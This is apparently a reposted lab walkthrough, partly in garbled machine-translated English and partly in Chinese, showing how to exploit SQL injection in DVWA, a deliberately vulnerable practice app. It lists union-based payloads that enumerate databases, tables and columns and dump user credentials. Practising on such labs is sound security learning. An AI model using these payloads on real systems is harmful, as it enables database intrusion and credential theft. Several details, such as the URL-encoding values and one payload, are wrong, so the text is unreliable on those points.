DVWA pro-test SQL injection vulnerability

Introduction:

About the basics of sql injection, I also wrote the article, and to use this loophole to practice operating environment drone about the so-called practice the truth Well, this time we try loopholes platform is DVWA, Github Download: DVWA
basic knowledge about posture or injected, I will explain in practice.

experiment:

LOW level
to enter a look at
DVWA pro-test SQL injection vulnerability
our add a single quotation mark
Here Insert Picture Description
why there's no search box to display it in single quotes? Because they were url encoded a
general url encoding that is actually ASCII characters worth hexadecimal, and then preceded by a%.
Specific may see URL encoding , can be found here url encoding of each character, of course, their own programming or use of the language should also have built-in functions to achieve url encoded.
Said here sql injection common encoding url:
space is 20%
in single quotes 27% is
well number is 23% (Table Notes)
Double quotes are 22%
to see the error we can see, this is a 'two single quotes expand up parameters, take a look at the source code
DVWA pro-test SQL injection vulnerability
we see

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';"
$id = $_REQUEST[ 'id' ];

Parameters without any filter .... We try to close single quote.
For example, we enter = the above mentioned id 1 'or' 1 '=' 1
statement becomes

$query  = "SELECT first_name, last_name FROM users WHERE user_id = '1' or '1'='1';";

当然,我们也可以使用注释来注释后面的单引号
sql中注释 单行可以使用 #(忽略) --(忽略),多行使用/ /
我们试试1' #
DVWA pro-test SQL injection vulnerability
下面我们来利用漏洞获取数据库信息
大概步骤就是:
1.猜解所查询的字段数目
2.获取字段显示位
3.通过显示位获取数据库信息
4.获取数据库中的表名
5.获取表中的列名(字段)
6.导出数据库中的数据
7.验证导出数据的有效性
猜解所查询的字段数
方式1: order by num
若num数值超过了字段数,则查询会报错,从而判断出select语句所查询字段的数目
输入:
1' order by 2 #
Here Insert Picture Description
1' order by 3 #
Here Insert Picture Description
报错,说明数据表中只有两个字段
方式二:union select 1,2,3...
若union select后的数字位(不一定是1/2/3,只要有数字占位即可)与实际查询的字段位不完全对应时,查询就会报错,直至调整到不报错时的占位个数,从而判断实际查询的字段数
输入:union select 1,2 #
DVWA pro-test SQL injection vulnerability
输入:union select 1,2.3 #
Here Insert Picture Description
获取字段的显示位
1' union select 1,2 #
Here Insert Picture Description
既然显示位显示的是我们设定数值,那么我们就通过显示位获取数据,输出出来
通过显示位获取数据库信息
此处会用到Mysql注入常用的一些函数,可参看此文==>SQL注入常用的内置函数整理(以MySql为例)
获取当前连接的数据库名称、DBMS的版本(Mysql的版本)
1' union select database(),version() #
Here Insert Picture Description
获取当前连接数据库的用户
1' union select 1,user() #
Here Insert Picture Description
获取服务器的操作系统、数据库的存储目录
1' union select @@version_compile_os,@@datadir #
Here Insert Picture Description
获取数据库中所有数据库名
在此之前,科普一下数据库的知识
mysql的数据库information_schema,他是系统数据库,安装完就有,记录是当前数据库的数据库,表,列,用户权限等信息
information_schema.schemata 记录所有的数据库名称
Information_schema.tables: 记录表名信息的表(也有数据库名字段)
Information_schema.columns: 记录列名信息的表(数据库名、表名、字段名)
1' union select 1,schema_name from information_schema.schemata # 可能是权限问题,没有全部爆出来
DVWA pro-test SQL injection vulnerability
去数据库执行是这样的
DVWA pro-test SQL injection vulnerability
我们发现数据库dvwa正是我们想要的,因此,通过此数据库,去爆表
获取当前连接数据库(dvwa)中的所有表
1' union select 1,table_name from information_schema.tables where table_schema="dvwa" #
where .. 后面表示的限制的条件,只查数据库名是dvwa的表
DVWA pro-test SQL injection vulnerability
获取表中的列名(字段)
1' union select 1,column_name from information_schema.columns where table_name="users" #
DVWA pro-test SQL injection vulnerability
这样输出有点乱,我们使用group_concat()将他们简单的输出出来
1' union select 1,group_concat(column_name) from information_schema.columns where table_name="users" #
DVWA pro-test SQL injection vulnerability
如果你觉得有点挤,看的不舒服的话,你可以
1' union select 1,group_concat(column_name,' ') from information_schema.columns where table_name="users" #
DVWA pro-test SQL injection vulnerability
这样是不是就明显多了?关于group_concat(),还有concat()可以自行百度学习
知道了数据库的表名、字段名就可以爆表了
爆表
1' union select 1,concat(user,'--',password) from users #
DVWA pro-test SQL injection vulnerability
还有其他更多的导出操作,一些导出函数的使用,可以自行尝试
验证导出数据的有效性
Here Insert Picture Description
OK! !
Medium
in different ways just closed
DVWA pro-test SQL injection vulnerability
the rest of the steps are almost on
high
DVWA pro-test SQL injection vulnerability
to find ways to close, other naturally got better!

Guess you like

Origin blog.51cto.com/14113984/2427991